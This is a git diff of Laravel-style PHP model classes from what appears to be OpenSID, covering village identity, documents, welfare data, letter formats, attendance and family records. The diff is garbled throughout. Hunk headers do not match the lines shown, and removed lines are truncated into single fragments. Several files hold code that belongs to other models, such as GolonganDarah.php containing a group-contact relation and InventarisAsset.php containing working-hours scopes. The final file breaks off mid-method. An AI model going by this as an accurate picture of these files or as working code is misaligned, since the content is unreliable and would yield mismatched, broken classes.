diff --git a/app/Models/Cacat.php b/app/Models/Cacat.php
index 8aefee99f..bf00ff64d 100644
--- a/app/Models/Cacat.php
+++ b/app/Models/Cacat.php
@@ -1,369 +1,48 @@
-pamong()->pamong_nip;
+ }
+
+ /**
+ * Getter untuk nama kepala desa dari pengurus
+ *
+ * @return string
+ */
+ public function getNamaKepalaDesaAttribute()
+ {
+ return $this->pamong()->pamong_nama;
+ }
+
+ public function pamong()
+ {
+ return Pamong::select('pamong_nip', 'pamong_nama')->kepalaDesa()->first();
+ }
+
+ /**
+ * Getter untuk path + logo desa
+ *
+ * @return string
+ */
+ public function getPathLogoAttribute()
+ {
+ $logo = LOKASI_LOGO_DESA . $this->attributes['logo'];
+
+ if (empty($this->attributes['logo']) || ! file_exists(FCPATH . $logo)) {
+ return 'assets/files/logo/opensid_logo.png';
+ }
+
+ return $this->attributes['logo'];
+ }
+
+ /**
+ * Getter untuk path + kantor desa
+ *
+ * @return string
+ */
+ public function getPathKantorDesaAttribute()
+ {
+ $kantor_desa = LOKASI_LOGO_DESA . $this->attributes['kantor_desa'];
+
+ if (empty($this->attributes['kantor_desa']) || ! file_exists(FCPATH . $kantor_desa)) {
+ return 'assets/files/logo/opensid_kantor.jpg';
+ }
+
+ return $this->attributes['kantor_desa'];
+ }
+
+ public function scopeAppKey($query)
+ {
+ if (Schema::hasColumn($this->table, 'app_key')) {
+ $query->where('app_key', get_app_key());
+ }
+
+ return $query;
+ }
+
+ /**
+ * The "booted" method of the model.
+ *
+ * @return void
+ */
+ public static function boot()
+ {
+ parent::boot();
+ static::creating(static function ($model) {
+ $model->app_key = get_app_key();
+ });
+
+ static::updating(static function ($model) {
+ static::clearCache();
+ });
+ }
+
+ // Hapus cache config dan modul
+ private static function clearCache()
+ {
+ hapus_cache('identitas_desa');
+ hapus_cache('_cache_modul');
+ }
+}
diff --git a/app/Models/CovidPemudik.php b/app/Models/CovidPemudik.php
index d7102dbb7..6168349b6 100644
--- a/app/Models/CovidPemudik.php
+++ b/app/Models/CovidPemudik.php
@@ -1,425 +1,64 @@
- '[]',
+ ];
+
+ /**
+ * The attributes that should be cast.
+ *
+ * @var array
+ */
+ protected $casts = [
+ 'attr' => 'json',
+ ];
+
+ /**
+ * The attributes that are mass assignable.
+ *
+ * @var array
+ */
+ protected $fillable = [
+ 'satuan',
+ 'nama',
+ 'enabled',
+ 'tgl_upload',
+ 'id_pend',
+ 'kategori',
+ 'id_syarat',
+ 'dok_warga',
+ ];
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $with = [
+ 'kategoriDokumen',
+ ];
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function jenisDokumen()
+ {
+ return $this->belongsTo(SyaratSurat::class, 'id_syarat');
+ }
+
+ /**
+ * Scope a query to only users.
+ *
+ * @param \Illuminate\Database\Eloquent\Builder $query
+ *
+ * @return \Illuminate\Database\Eloquent\Builder
+ */
+ public function scopePengguna($query)
+ {
+ // return $query->where('id_pend', auth('jwt')->id());
+ }
+
+ /**
+ * Getter untuk menambahkan url file.
+ *
+ * @return string
+ */
+ public function getUrlFileAttribute()
+ {
+ // try {
+ // return Storage::disk('ftp')->exists("desa/upload/dokumen/{$this->satuan}")
+ // ? Storage::disk('ftp')->url("desa/upload/dokumen/{$this->satuan}")
+ // : null;
+ // } catch (Exception $e) {
+ // Log::error($e);
+ // }
+ }
+
+ /**
+ * Getter untuk donwload file.
+ *
+ * @return string
+ */
+ public function getDownloadDokumenAttribute()
+ {
+ // try {
+ // return Storage::disk('ftp')->exists("desa/upload/dokumen/{$this->satuan}")
+ // ? Storage::disk('ftp')->download("desa/upload/dokumen/{$this->satuan}")
+ // : null;
+ // } catch (Exception $e) {
+ // Log::error($e);
+ // }
+ }
+
+ /**
+ * Scope query untuk status dokumen
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopeHidup($query)
+ {
+ return $query->where('deleted', '!=', 1);
+ }
+
+ /**
+ * Scope query untuk status aktif
+ *
+ * @param Builder $query
+ * @param string $status
+ *
+ * @return Builder
+ */
+ public function scopeAktif($query, $status = '1')
+ {
+ return $query->where('enabled', $status);
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function kategoriDokumen()
+ {
+ return $this->hasOne(RefDokumen::class, 'id', 'kategori');
+ }
+
+ /**
+ * Scope query untuk menyaring data dokumen berdasarkan parameter yang ditentukan
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeFilters($query, array $filters = [])
+ {
+ foreach ($filters as $key => $value) {
+ $query->when($value ?? false, static function ($query) use ($value, $key) {
+ $query->where($key, $value);
+ });
+ }
+
+ return $query;
+ }
+
+ /**
+ * Scope query untuk kategori dokumen
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeKategori($query, $value = 1)
+ {
+ return $query->where('kategori', $value);
+ }
+}
diff --git a/app/Models/Dtks.php b/app/Models/Dtks.php
index c2fb4545c..da6dbc878 100644
--- a/app/Models/Dtks.php
+++ b/app/Models/Dtks.php
@@ -1,361 +1,238 @@
- 'date:Y-m-d H:i:s',
+ 'updated_at' => 'date:Y-m-d H:i:s',
+ 'tanggal_pencacahan' => 'date:Y-m-d',
+ 'tanggal_pemeriksaan' => 'date:Y-m-d',
+ 'tanggal_pendataan' => 'date:Y-m-d',
+ ];
+ // /**
+ // * The fillable with the model.
+ // *
+ // * @var array
+ // */
+ // protected $fillable = [
+ // 'versi_kuisioner',
+ // 'is_draft'
+ // ];
+
+ public function getVersiKuisionerNameAttribute()
+ {
+ return DtksEnum::VERSION_LIST[$this->attributes['versi_kuisioner']] ?? 'Tidak Ditemukan';
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function rtm()
+ {
+ return $this->hasOne(Rtm::class, 'id', 'id_rtm')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ public function keluarga()
+ {
+ return $this->hasOne(Keluarga::class, 'id', 'id_keluarga')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ public function getKeluargaInRTMAttribute()
+ {
+ $this->loadMissing([
+ 'rtm.anggota' => static function ($builder) {
+ // override all items within the $with property in Penduduk
+ $builder->withOnly('keluarga')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ // hanya ambil data anggota yg masih hidup (tweb_penduduk)
+ $builder->where('status_dasar', 1);
+ },
+ ]);
+
+ return $this->rtm->anggota->pluck('keluarga')->unique();
+ }
+
+ public function getAnggotaKeluargaInRTMAttribute()
+ {
+ $this->loadMissing([
+ 'rtm.anggota' => static function ($builder) {
+ // override all items within the $with property in Penduduk
+ $builder->without([
+ 'jenisKelamin',
+ 'agama',
+ 'pendidikan',
+ 'pendidikanKK',
+ 'pekerjaan',
+ 'wargaNegara',
+ 'golonganDarah',
+ 'cacat',
+ 'statusKawin',
+ 'pendudukStatus',
+ 'wilayah',
+ ]);
+ // hanya ambil data anggota yg masih hidup (tweb_penduduk)
+ $builder->where('status_dasar', 1);
+ },
+ ]);
+
+ return $this->rtm->anggota->groupBy('id_kk');
+ }
+
+ public function getKepalaRumahTanggaAttribute()
+ {
+ $this->loadMissing([
+ 'rtm.kepalaKeluarga',
+ ]);
+
+ return $this->rtm->kepalaKeluarga;
+ }
+
+ public function getKepalaKeluargaAttribute()
+ {
+ $this->loadMissing([
+ 'keluarga.kepalaKeluarga',
+ ]);
+
+ return $this->keluarga->kepalaKeluarga;
+ }
+
+ public function getKepalaKeluargaDTKSAttribute()
+ {
+ $this->loadMissing([
+ 'keluarga.kepalaKeluarga',
+ 'dtksAnggota',
+ ]);
+
+ return $this->dtksAnggota->where('id_penduduk', $this->keluarga->kepalaKeluarga->id)->first();
+ }
+
+ public function getJumlahAnggotaDTKSAttribute()
+ {
+ $this->loadMissing('dtksAnggota');
+
+ return $this->dtksAnggota->count();
+ }
+
+ public function getNikKKAttribute()
+ {
+ $this->loadMissing([
+ 'keluarga.kepalaKeluarga' => static function ($builder) {
+ // override all items within the $with property in Penduduk
+ $builder->withoutRelations();
+ },
+ ]);
+
+ return $this->keluarga->kepalaKeluarga->nik;
+ }
+
+ public function getNikKrtAttribute()
+ {
+ $this->loadMissing([
+ 'rtm.kepalaKeluarga' => static function ($builder) {
+ // override all items within the $with property in Penduduk
+ $builder->withoutRelations();
+ },
+ ]);
+
+ return $this->rtm->kepalaKeluarga->nik;
+ }
+
+ public function getAlamatAttribute()
+ {
+ $this->loadMissing([
+ 'rtm.kepalaKeluarga' => static function ($builder) {
+ // override all items within the $with property in Penduduk
+ $builder->withoutRelations();
+ },
+ ]);
+
+ return $this->rtm->kepalaKeluarga->alamat_wilayah;
+ }
+
+ public function getJumlahKeluargaAttribute()
+ {
+ return $this->getNoKKArtAttribute()->count();
+ }
+
+ public function getNoKKAttribute()
+ {
+ return $this->getKepalaKeluargaAttribute()->keluarga->no_kk;
+ }
+
+ public function getNoKkArtAttribute()
+ {
+ return $this->getKeluargaInRTMAttribute()->pluck('no_kk');
+ }
+
+ public function dtksAnggota()
+ {
+ return $this->hasMany(DtksAnggota::class, 'id_dtks')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ public function lampiran()
+ {
+ return $this->belongsToMany(DtksLampiran::class, 'dtks_ref_lampiran', 'id_dtks', 'id_lampiran')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+}
diff --git a/app/Models/DtksAnggota.php b/app/Models/DtksAnggota.php
index e915944d5..543bcf19b 100644
--- a/app/Models/DtksAnggota.php
+++ b/app/Models/DtksAnggota.php
@@ -1,417 +1,94 @@
- 'date:Y-m-d',
+ 'created_at' => 'date:Y-m-d H:i:s',
+ 'updated_at' => 'date:Y-m-d H:i:s',
+ ];
+
+ /**
+ * All of the relationships to be touched.
+ *
+ * @var array
+ */
+ protected $touches = ['dtks'];
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function dtks()
+ {
+ return $this->belongsTo(Dtks::class, 'id_dtks', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ public function penduduk()
+ {
+ return $this->belongsTo(Penduduk::class, 'id_penduduk', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ public function getUmurAttribute()
+ {
+ return $this->penduduk->umur;
+ }
+}
diff --git a/app/Models/DtksLampiran.php b/app/Models/DtksLampiran.php
index a72674053..a87c12b72 100644
--- a/app/Models/DtksLampiran.php
+++ b/app/Models/DtksLampiran.php
@@ -1,425 +1,88 @@
-attributes['foto'];
+ if (! file_exists(FCPATH . $path)) {
+ return '';
+ }
+
+ return base_url() . $path;
+ }
+
+ public function dtks()
+ {
+ return $this->belongsToMany(Dtks::class, 'dtks_ref_lampiran', 'id_lampiran', 'id_dtks')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+}
diff --git a/app/Models/DtksPengaturanProgram.php b/app/Models/DtksPengaturanProgram.php
index 3e2c230f1..ed0fb5aa0 100644
--- a/app/Models/DtksPengaturanProgram.php
+++ b/app/Models/DtksPengaturanProgram.php
@@ -1,497 +1,82 @@
- 'date:Y-m-d H:i:s',
+ 'updated_at' => 'date:Y-m-d H:i:s',
+ ];
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function bantuan()
+ {
+ return $this->belongsTo(Bantuan::class, 'id_bantuan', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ public function getVersiKuisionerNameAttribute()
+ {
+ return DtksEnum::VERSION_LIST[$this->attributes['versi_kuisioner']];
+ }
+}
diff --git a/app/Models/FormatSurat.php b/app/Models/FormatSurat.php
index b1c8f2d54..abdd6d416 100644
--- a/app/Models/FormatSurat.php
+++ b/app/Models/FormatSurat.php
@@ -1,417 +1,489 @@
- 'Hari',
+ 'w' => 'Minggu',
+ 'M' => 'Bulan',
+ 'y' => 'Tahun',
+ ];
+
+ /**
+ * Static data jenis surat.
+ *
+ * @var array
+ */
+ public const JENIS_SURAT = [
+ self::RTF_SISTEM => 'Surat Sistem RTF',
+ self::RTF_DESA => 'Surat [Desa] RTF',
+ self::TINYMCE_SISTEM => 'Surat Sistem TinyMCE',
+ self::TINYMCE_DESA => 'Surat [Desa] TinyMCE',
+ ];
+
+ /**
+ * Static data margin surat.
+ *
+ * @var array
+ */
+ public const MARGINS = [
+ 'kiri' => 1.78,
+ 'atas' => 0.63,
+ 'kanan' => 1.78,
+ 'bawah' => 1.37,
+ ];
+
+ /**
+ * Static data orientation surat.
+ *
+ * @var array
+ */
+ public const ORIENTATAIONS = [
+ 'Potrait',
+ 'Lanscape',
+ ];
+
+ /**
+ * Static data Size surat.
+ *
+ * @var array
+ */
+ public const SIZES = [
+ 'A1',
+ 'A2',
+ 'A3',
+ 'A4',
+ 'A5',
+ 'A6',
+ 'F4',
+ ];
+
+ /**
+ * Static data atribut surat.
+ *
+ * @var array
+ */
+ public const ATTRIBUTES = [
+ 'text' => 'Input Teks',
+ 'number' => 'Input Angka',
+ 'email' => 'Input Email',
+ 'url' => 'Input Url',
+ 'date' => 'Input Tanggal',
+ 'time' => 'Input Jam',
+ 'textarea' => 'Text Area',
+ 'select-manual' => 'Select (Manual)',
+ 'select-otomatis' => 'Select (Otomatis)',
+ 'hari' => 'Input Hari',
+ 'hari-tanggal' => 'Input Hari dan Tanggal',
+ ];
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $table = 'tweb_surat_format';
+
+ /**
+ * The fillable with the model.
+ *
+ * @var array
+ */
+ protected $fillable = [
+ 'nama',
+ 'url_surat',
+ 'kode_surat',
+ 'lampiran',
+ 'kunci',
+ 'favorit',
+ 'jenis',
+ 'mandiri',
+ 'masa_berlaku',
+ 'satuan_masa_berlaku',
+ 'qr_code',
+ 'logo_garuda',
+ 'kecamatan',
+ 'syarat_surat',
+ 'template',
+ 'template_desa',
+ 'form_isian',
+ 'kode_isian',
+ 'orientasi',
+ 'ukuran',
+ 'margin',
+ 'margin_global',
+ 'header',
+ 'footer',
+ 'format_nomor',
+ 'created_by',
+ 'updated_by',
+ ];
+
+ /**
+ * The fillable with the model.
+ *
+ * @var array
+ */
+ protected $appends = [
+ 'judul_surat',
+ 'margin_cm_to_mm',
+ 'url_surat_sistem',
+ 'url_surat_desa',
+ ];
+
+ /**
+ * The attributes that should be cast.
+ *
+ * @var array
+ */
+ protected $casts = [
+ 'masa_berlaku' => 'integer',
+ 'kunci' => 'boolean',
+ 'favorit' => 'boolean',
+ 'mandiri' => 'boolean',
+ 'qr_code' => 'boolean',
+ 'logo_garuda' => 'boolean',
+ // 'syarat_surat' => 'json',
+ // 'kode_isian' => 'json',
+ // 'margin' => 'json',
+ ];
+
+ /**
+ * Define a many-to-many relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany
+ */
+ public function syaratSurat()
+ {
+ return $this->belongsToMany(SyaratSurat::class, 'syarat_surat', 'surat_format_id', 'ref_syarat_id');
+ }
+
+ /**
+ * Scope query untuk layanan mandiri.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopeMandiri($query)
+ {
+ return $query->where('mandiri', static::MANDIRI);
+ }
+
+ /**
+ * Scope query untuk list surat yang tidak dikunci.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ // public function scopeKunci($query)
+ // {
+ // return $query->where('kunci', static::KUNCI_DISABLE);
+ // }
+
+ /**
+ * Getter list surat dan dokumen attribute.
+ *
+ * @return array
+ */
+ public function getListSyaratSuratAttribute()
+ {
+ return $this->syaratSurat->map(
+ static function ($syarat) {
+ return [
+ 'label' => $syarat->ref_syarat_nama,
+ 'value' => $syarat->ref_syarat_id,
+ 'form_surat' => [
+ [
+ 'type' => 'select',
+ 'required' => true,
+ 'label' => 'Dokumen Syarat',
+ 'name' => 'dokumen',
+ 'multiple' => false,
+ 'values' => $syarat->dokumen->map(static function ($dokumen) {
+ return [
+ 'label' => $dokumen->nama,
+ 'value' => $dokumen->id,
+ ];
+ }),
+ ],
+ ],
+ ];
+ }
+ );
+ }
+
+ /**
+ * Getter form surat attribute.
+ *
+ * @return mixed
+ */
+ public function getFormSuratAttribute()
+ {
+ // try {
+ // return app('surat')->driver($this->url_surat)->form();
+ // } catch (Exception $e) {
+ // Log::error($e);
+
+ // return null;
+ // }
+ }
+
+ /**
+ * Setter untuk url_surat.
+ *
+ * @return void
+ */
+ // public function setUrlSuratAttribute()
+ // {
+ // $this->attributes['url_surat'] = 'surat_' . strtolower(str_replace([' ', '-'], '_', $this->attributes['nama']));
+ // }
+
+ /**
+ * Getter untuk lokasi_surat
+ *
+ * @return string
+ */
+ public function getLokasiSuratAttribute()
+ {
+ return LOKASI_SURAT_DESA . $this->url_surat;
+ }
+
+ /**
+ * Getter untuk judul_surat
+ *
+ * @return string
+ */
+ public function getJudulSuratAttribute()
+ {
+ return 'Surat ' . $this->nama;
+ }
+
+ /**
+ * Getter untuk kode_isian
+ *
+ * @return string
+ */
+ public function getKodeIsianAttribute()
+ {
+ if (in_array($this->jenis, self::RTF)) {
+ return kode_isian($this->url_surat);
+ }
+
+ $kode_isian = json_decode($this->attributes['kode_isian']);
+ $non_warga = json_decode(TinyMCE::getKodeIsianNonWarga());
+ if ($this->getFormIsianAttribute()->data == '2') {
+ if (null !== $kode_isian) {
+ return [...$non_warga, ...$kode_isian];
+ }
+
+ return $non_warga;
+ }
+
+ return $kode_isian;
+ }
+
+ /**
+ * Getter untuk form_isian
+ *
+ * @return mixed
+ */
+ public function getFormIsianAttribute()
+ {
+ if (in_array($this->jenis, self::RTF)) {
+ return null;
+ }
+
+ return json_decode($this->attributes['form_isian']);
+ }
+
+ /**
+ * Getter untuk judul_surat
+ *
+ * @return string
+ */
+ public function getMarginCmToMmAttribute()
+ {
+ $margin = json_decode($this->margin);
+
+ return [
+ $margin->kiri * 10,
+ $margin->atas * 10,
+ $margin->kanan * 10,
+ $margin->bawah * 10,
+ ];
+ }
+
+ /**
+ * Getter untuk url surat sistem
+ *
+ * @return string
+ */
+ public function getUrlSuratSistemAttribute()
+ {
+ $surat_export_desa = LOKASI_SURAT_SISTEM . $this->url_surat . '/' . $this->url_surat . '.rtf';
+
+ if (in_array($this->jenis, ['1', '2']) && is_file($surat_export_desa)) {
+ return $surat_export_desa;
+ }
+
+ return null;
+ }
+
+ /**
+ * Getter untuk url surat desa
+ *
+ * @return string
+ */
+ public function getUrlSuratDesaAttribute()
+ {
+ $surat_export_desa = LOKASI_SURAT_DESA . $this->url_surat . '/' . $this->url_surat . '.rtf';
+
+ if (in_array($this->jenis, ['1', '2']) && is_file($surat_export_desa)) {
+ return $surat_export_desa;
+ }
+
+ return null;
+ }
+
+ /**
+ * Scope query untuk IsExist
+ *
+ * @param mixed $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeIsExist($query, $value)
+ {
+ return $query->where('url_surat', $value)->exists();
+ }
+
+ /**
+ * Scope query untuk Kunci Surat
+ *
+ * @param mixed $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeKunci($query, $value = self::KUNCI)
+ {
+ return $query->where('kunci', $value);
+ }
+
+ /**
+ * Scope query untuk Favorit Surat
+ *
+ * @param mixed $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeFavorit($query, $value = self::FAVORIT)
+ {
+ return $query->where('favorit', $value);
+ }
+
+ /**
+ * Scope query untuk Jenis Surat
+ *
+ * @param mixed $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeJenis($query, $value)
+ {
+ if (empty($value)) {
+ return $query->whereNotNull('jenis');
+ }
+
+ if (is_array($value)) {
+ return $query->whereIn('jenis', $value);
+ }
+
+ return $query->where('jenis', $value);
+ }
+
+ /**
+ * Scope query untuk layanan mandiri.
+ *
+ * @param Builder $query
+ * @param mixed|null $url
+ *
+ * @return Builder
+ */
+ public function scopeCetak($query, $url = null)
+ {
+ return $this->scopeKunci($query, self::KUNCI_DISABLE)->where('url_surat', $url);
+ }
+}
diff --git a/app/Models/Galery.php b/app/Models/Galery.php
index 057a1f67b..94b832fe2 100644
--- a/app/Models/Galery.php
+++ b/app/Models/Galery.php
@@ -1,377 +1,87 @@
-hasMany(self::class, 'parrent');
+ }
+
+ public function getUrlGambarAttribute()
+ {
+ // try {
+ // return Storage::disk('ftp')->exists("desa/upload/galeri/kecil_{$this->gambar}")
+ // ? Storage::disk('ftp')->url("desa/upload/galeri/kecil_{$this->gambar}")
+ // : null;
+ // } catch (Exception $e) {
+ // Log::error($e);
+ // }
+ }
+}
diff --git a/app/Models/Garis.php b/app/Models/Garis.php
index e4924f947..fc74f4f36 100644
--- a/app/Models/Garis.php
+++ b/app/Models/Garis.php
@@ -1,369 +1,111 @@
-attributes['foto'];
+
+ if (file_exists(FCPATH . $foto)) {
+ return $foto;
+ }
+
+ return null;
+ }
+
+ /**
+ * Getter untuk foto sedang.
+ *
+ * @return string
+ */
+ public function getFotoSedangAttribute()
+ {
+ $foto = LOKASI_FOTO_GARIS . 'sedang_' . $this->attributes['foto'];
+
+ if (file_exists(FCPATH . $foto)) {
+ return $foto;
+ }
+
+ return null;
+ }
+}
diff --git a/app/Models/GolonganDarah.php b/app/Models/GolonganDarah.php
index 12b60b628..d58f880b8 100644
--- a/app/Models/GolonganDarah.php
+++ b/app/Models/GolonganDarah.php
@@ -1,433 +1,48 @@
-hasMany(AnggotaGrup::class, 'id_grup', 'id_grup');
+ }
+}
diff --git a/app/Models/HariLibur.php b/app/Models/HariLibur.php
index ec59677c1..2047bf319 100644
--- a/app/Models/HariLibur.php
+++ b/app/Models/HariLibur.php
@@ -1,401 +1,71 @@
-hasOne(GrupKontak::class, 'id_grup', 'id_grup');
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function createdBy()
+ {
+ return $this->hasOne(User::class, 'id', 'created_by');
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function updatedBy()
+ {
+ return $this->hasOne(User::class, 'id', 'updated_by');
+ }
+}
diff --git a/app/Models/IbuHamil.php b/app/Models/IbuHamil.php
index d202ec2f6..b1caed0fa 100644
--- a/app/Models/IbuHamil.php
+++ b/app/Models/IbuHamil.php
@@ -1,393 +1,113 @@
- 1,
+ 'simbol' => 'N',
+ 'nama' => 'Normal (N)',
+ ],
+ [
+ 'id' => 2,
+ 'simbol' => 'Risti',
+ 'nama' => 'Risiko Tinggi (Risti)',
+ ],
+ [
+ 'id' => 3,
+ 'simbol' => 'KEK',
+ 'nama' => 'Kekurangan Energi Kronis (KEK)',
+ ],
+ ];
+
+ /**
+ * The table associated with the model.
+ *
+ * @var string
+ */
+ protected $table = 'ibu_hamil';
+
+ /**
+ * The table update parameter.
+ *
+ * @var string
+ */
+ public $primaryKey = 'id_ibu_hamil';
+
+ /**
+ * The guarded with the model.
+ *
+ * @var array
+ */
+ protected $guarded = [];
+
+ public function kia()
+ {
+ return $this->belongsTo(KIA::class, 'kia_id');
+ }
+
+ public function scopeFilter($query, array $filters)
+ {
+ if (! empty($filters['bulan'])) {
+ $query->whereMonth('ibu_hamil.created_at', $filters['bulan']);
+ }
+
+ if (! empty($filters['tahun'])) {
+ $query->whereYear('ibu_hamil.created_at', $filters['tahun']);
+ }
+
+ if (! empty($filters['posyandu'])) {
+ $query->where('posyandu_id', $filters['posyandu']);
+ }
+
+ return $query;
+ }
+}
diff --git a/app/Models/InventarisAsset.php b/app/Models/InventarisAsset.php
index 1c6da9eec..f1b9f0f62 100644
--- a/app/Models/InventarisAsset.php
+++ b/app/Models/InventarisAsset.php
@@ -1,449 +1,61 @@
- 'boolean',
+ ];
+
+ public function scopeLibur($query)
+ {
+ return $query->where('status', 0)->where('nama_hari', $this->getNamaHari());
+ }
+
+ public function scopeJamKerja($query)
+ {
+ $waktu = date('H:i');
+ $rentang = setting('rentang_waktu_kehadiran') ?? SettingAplikasi::RENTANG_WAKTU_KEHADIRAN;
+
+ return $query
+ ->selectRaw('id, nama_hari, jam_masuk, status, keterangan')
+ ->selectRaw(sprintf('date_add(jam_keluar, interval %s minute) as jam_keluar', $rentang))
+ ->where('nama_hari', $this->getNamaHari())
+ ->where(static function ($q) use ($waktu) {
+ $q->whereTime('jam_masuk', '>', $waktu)
+ ->orWhereRaw('date_add(jam_keluar, interval ? minute) < ?', [$rentang, $waktu]);
+ });
+ }
+
+ protected function getNamaHari()
+ {
+ return Carbon::now()->dayName;
+ }
+}
diff --git a/app/Models/KB.php b/app/Models/KB.php
index 032a8906c..33fcedd34 100644
--- a/app/Models/KB.php
+++ b/app/Models/KB.php
@@ -1,345 +1,62 @@
-belongsTo(Penduduk::class, 'ibu_id');
+ }
+
+ public function anak()
+ {
+ return $this->belongsTo(Penduduk::class, 'anak_id');
+ }
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\HasOne
+ */
+ public function ibuHamil()
+ {
+ return $this->hasOne(IbuHamil::class, 'kia_id');
+ }
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\HasOne
+ */
+ public function bulananAnak()
+ {
+ return $this->hasOne(Anak::class, 'kia_id');
+ }
+}
diff --git a/app/Models/Kategori.php b/app/Models/Kategori.php
index e07f0f441..bf02396af 100644
--- a/app/Models/Kategori.php
+++ b/app/Models/Kategori.php
@@ -1,393 +1,78 @@
-where('enabled', static::ENABLE);
+ }
+
+ /**
+ * Scope config_id, dipisah untuk kebutuhan OpenKab.
+ *
+ * @param mixed $query
+ *
+ * @return Builder
+ */
+ public function scopeConfigId($query)
+ {
+ return $query->where('config_id', identitas('id'))->orWhereNull('config_id');
+ }
+}
diff --git a/app/Models/Kehadiran.php b/app/Models/Kehadiran.php
index 506946f6a..2248f6def 100644
--- a/app/Models/Kehadiran.php
+++ b/app/Models/Kehadiran.php
@@ -1,401 +1,117 @@
-belongsTo(Pamong::class, 'pamong_id', 'pamong_id');
+ }
+
+ public function scopeLupaAbsen($query, $tanggal)
+ {
+ $jam = JamKerja::where('nama_hari', Carbon::createFromFormat('Y-m-d', $tanggal)->dayName)->first('jam_keluar');
+
+ return $query->where('tanggal', $tanggal)
+ ->where('status_kehadiran', 'hadir')
+ ->where('jam_keluar', null)
+ ->take(1)
+ ->update([
+ 'jam_keluar' => $jam->jam_keluar,
+ 'status_kehadiran' => 'lupa melapor keluar',
+ ]);
+ }
+
+ public function scopeFilter($query, array $filters)
+ {
+ if (! empty($filters['tanggal'])) {
+ [$awal, $akhir] = explode(' - ', $filters['tanggal']);
+ $query->whereBetween('tanggal', [$awal, $akhir]);
+ }
+
+ if (! empty($filters['status'])) {
+ $query->where('status_kehadiran', $filters['status']);
+ }
+
+ if (! empty($filters['pamong'])) {
+ $query->where('pamong_id', $filters['pamong']);
+ }
+
+ return $query;
+ }
+}
diff --git a/app/Models/KehadiranPengaduan.php b/app/Models/KehadiranPengaduan.php
index 81af162cc..af02ac8ae 100644
--- a/app/Models/KehadiranPengaduan.php
+++ b/app/Models/KehadiranPengaduan.php
@@ -1,473 +1,93 @@
- 'boolean',
+ ];
+
+ public function pamong()
+ {
+ return $this->belongsTo(Pamong::class, 'id_pamong');
+ }
+
+ public function mandiri()
+ {
+ return $this->belongsTo(PendudukMandiri::class, 'id_penduduk');
+ }
+}
diff --git a/app/Models/Kelompok.php b/app/Models/Kelompok.php
index fa068935c..5d62cfa15 100644
--- a/app/Models/Kelompok.php
+++ b/app/Models/Kelompok.php
@@ -1,393 +1,106 @@
-hasOne(Penduduk::class, 'id', 'id_ketua');
+ }
+
+ /**
+ * Scope query untuk status kelompok
+ *
+ * @param mixed $query
+ * @param mixed $status
+ *
+ * @return Builder
+ */
+ public function scopeStatus($query, $status = 1)
+ {
+ return $query->whereHas('ketua', static function ($q) use ($status) {
+ $q->status($status);
+ });
+ }
+
+ /**
+ * Scope query untuk tipe kelompok
+ *
+ * @param mixed $query
+ * @param mixed $tipe
+ *
+ * @return Builder
+ */
+ public function scopeTipe($query, $tipe = 'kelompok')
+ {
+ return $query->where('tipe', $tipe);
+ }
+}
diff --git a/app/Models/KelompokAnggota.php b/app/Models/KelompokAnggota.php
index d55be75d1..17c4d6ea1 100644
--- a/app/Models/KelompokAnggota.php
+++ b/app/Models/KelompokAnggota.php
@@ -1,449 +1,77 @@
-where('tipe', $tipe);
+ }
+}
diff --git a/app/Models/Keluarga.php b/app/Models/Keluarga.php
index 720bf70ca..a05d170be 100644
--- a/app/Models/Keluarga.php
+++ b/app/Models/Keluarga.php
@@ -1,393 +1,137 @@
-hasOne(Penduduk::class, 'id', 'nik_kepala')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return HasMany
+ */
+ public function anggota()
+ {
+ return $this->hasMany(Penduduk::class, 'id_kk')
+ ->orderBy('kk_level')
+ ->orderBy('tanggallahir')
+ ->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function Wilayah()
+ {
+ return $this->belongsTo(Wilayah::class, 'id_cluster')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ public function LogKeluarga()
+ {
